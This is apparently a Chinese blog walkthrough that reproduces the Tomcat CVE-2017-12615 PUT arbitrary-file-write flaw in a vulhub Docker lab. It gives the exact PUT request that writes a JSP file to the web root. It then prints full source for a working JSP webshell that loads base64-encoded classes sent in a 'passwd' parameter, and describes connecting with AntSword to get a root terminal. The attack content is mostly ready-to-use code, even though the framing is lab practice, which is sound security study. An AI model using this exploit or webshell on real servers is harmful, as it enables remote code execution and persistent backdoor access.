Tomcat8 任意写文件PUT方法 (CVE-2017-12615)

Tomcat 任意写文件PUT方法 (CVE-2017-12615)

文章目录

    • [Tomcat 任意写文件PUT方法 (CVE-2017-12615)](#Tomcat 任意写文件PUT方法 (CVE-2017-12615))
      • [1 在线漏洞解读:](#1 在线漏洞解读:)
      • [2 版本影响](#2 版本影响)
      • [3 环境搭建](#3 环境搭建)
      • [4 漏洞复现](#4 漏洞复现)
        • [4.1 访问](#4.1 访问)
        • [4.2 POC攻击点](#4.2 POC攻击点)
          • [4.2.1 直接发送以下数据包,然后shell将被写入Web根目录。](#4.2.1 直接发送以下数据包,然后shell将被写入Web根目录。)
          • [4.2.2 访问是否通,可以访问到文件](#4.2.2 访问是否通,可以访问到文件)
      • [5 漏洞利用](#5 漏洞利用)
        • [5.1 上传jsp一句话](#5.1 上传jsp一句话)
        • [5.2 kali打开蚁剑:](#5.2 kali打开蚁剑:)
        • [5.3 连接jsp一句话木马,密码为 passwd](#5.3 连接jsp一句话木马,密码为 passwd)
        • [5.4 打开终端,获取root](#5.4 打开终端,获取root)

1 在线漏洞解读:

https://vulhub.org/#/environments/tomcat/CVE-2017-12615/

2 版本影响

​ Tomcat version: 8.5.19

3 环境搭建

shell 复制代码
cd /home/kali/vulhub/tomcat/CVE-2017-12615

环境启动:

shell 复制代码
sudo docker-compose up -d

sudo docker ps -a

已启动:访问端口8091

4 漏洞复现

4.1 访问

​ 4.1 访问http://192.168.225.166:8091/看到Tomcat示例页面,发现8.5.19版本后台管理是不允许登录的


4.2 POC攻击点
4.2.1 直接发送以下数据包,然后shell将被写入Web根目录。
PUT /1.jsp/ HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

shell
4.2.2 访问是否通,可以访问到文件

5 漏洞利用

5.1 上传jsp一句话
jsp 复制代码
<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }
        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }
 
    public byte[] base64Decode(String str) throws Exception {
        try {
            Class clazz = Class.forName("sun.misc.BASE64Decoder");
            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
        } catch (Exception e) {
            Class clazz = Class.forName("java.util.Base64");
            Object decoder = clazz.getMethod("getDecoder").invoke(null);
            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
        }
    }
%>
<%
    String cls = request.getParameter("passwd");
    if (cls != null) {
        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
    }
%>
5.2 kali打开蚁剑:
┌──(kali💋kali)-[~]
└─$ sudo antsword 
5.3 连接jsp一句话木马,密码为 passwd
5.4 打开终端,获取root
相关推荐
芯盾时代1 小时前
数字身份发展趋势前瞻:身份韧性与安全
运维·安全·网络安全·密码学·信息与通信
知孤云出岫4 小时前
web 渗透学习指南——初学者防入狱篇
前端·网络安全·渗透·web
mushangqiujin5 小时前
ctfshow web文件上传 web166-170
网络安全
易云码5 小时前
信息安全建设方案,网络安全等保测评方案,等保技术解决方案,等保总体实施方案(Word原件)
数据库·物联网·安全·web安全·低代码
Suckerbin7 小时前
Hms?: 1渗透测试
学习·安全·网络安全
Spring_java_gg8 小时前
如何抵御 Linux 服务器黑客威胁和攻击
linux·服务器·网络·安全·web安全
独行soc8 小时前
#渗透测试#SRC漏洞挖掘#深入挖掘XSS漏洞02之测试流程
web安全·面试·渗透测试·xss·漏洞挖掘·1024程序员节
newxtc9 小时前
【国内中间件厂商排名及四大中间件对比分析】
安全·web安全·网络安全·中间件·行为验证·国产中间件
follycat13 小时前
[极客大挑战 2019]HTTP 1
网络·网络协议·http·网络安全